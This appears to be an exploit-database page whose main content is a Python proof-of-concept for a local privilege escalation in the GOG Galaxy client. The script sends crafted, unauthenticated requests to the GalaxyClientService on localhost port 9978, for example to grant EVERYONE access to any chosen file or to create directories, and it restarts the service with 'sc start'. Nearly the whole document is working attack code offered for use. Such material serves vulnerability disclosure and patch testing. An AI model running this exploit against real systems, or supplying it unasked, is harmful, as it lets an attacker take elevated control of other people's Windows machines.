4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
# GOG Galaxy - Local Privilege Escalation exploit by Adrian Denkiewicz

import socket
import argparse
import os
from time import sleep
from enum import IntEnum


Method = {
    # "Invalid":  0x00,
    "LaunchElevatedRequest": 0x01,  # parsing error
    # "LaunchElevatedResponse": 0x02,
    "FixDirectoryPrivilegesRequest": 0x03,
    # "FixDirectoryPrivilegesResponse": 0x04,
    "CreateDirectoryRequest": 0x05,
    # "CreateDirectoryResponse": 0x06,
    "QueryProcessInfoRequest": 0x07,
    # "QueryProcessInfoResponse": 0x08,
    "InstallServiceRequest": 0x09,  # parsing error
    # "InstallServiceResponse": 0x0A,  # parsing error
    "DeleteServiceRequest": 0x0B,  # Gets service name as argument    
    # "DeleteServiceResponse": 0x0C,
    "MoveAndVerifyGlobalDependencyRequest": 0x0D,  # copies file from 
                                                   # "C:\Program Files (x86)\GOG Galaxy\Dependencies-Temp\__redist\"
                                                   # to
                                                   # "C:\Program Files (x86)\GOG Galaxy\Dependencies\__redist\"
    # "MoveAndVerifyGlobalDependencyResponse": 0x0E
    }
    

def call(method, path):
    path_length = len(path)

    buf = b""
    buf += b"\x00\x0c\x08\x04\x10"
    buf += bytes([method])
    buf += b"\x18"
    buf += bytes([path_length + 2])
    buf += b"\x20"
    buf += b"\xd4\x80\xe9\x92\x15"  # last half-byte 0x01 controls most significant byte of seq number, second half unknown
    buf += b"\x0a"
    buf += bytes([path_length])

    return b"%b%b" % (buf, path.encode())


def parse_options():
    desc = "GOG Galaxy LPE Exploit by Adrian Denkiewicz"

    epilog = ""   
    epilog += "It exploits lack of auth when sensitive GalaxyClientService methods are called. "
    epilog += "Try FixDirectoryPrivilegesRequest (grants EVERYONE access to target file) or "
    epilog += "CreateDirectoryRequest (creates directory in target location)."

    parser = argparse.ArgumentParser(description=desc, epilog=epilog)
    parser.add_argument("target")
    parser.add_argument("--action", choices=[m for m in Method.keys()], default="FixDirectoryPrivilegesRequest")

    return vars(parser.parse_args())


if __name__ == "__main__":
    args = parse_options()  

    # set target info
    RHOST = '127.0.0.1'
    RPORT = 9978
    
    print("(Re)starting service...")
    os.system("sc start GalaxyClientService > NUL")
    print("Waiting...")
    sleep(1)
    print("Calling {}(\"{}\")".format(args["action"], args["target"]))

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((RHOST, RPORT))
    s.sendall(call(Method[args["action"]], args["target"]))
    s.close()

    print("Done!")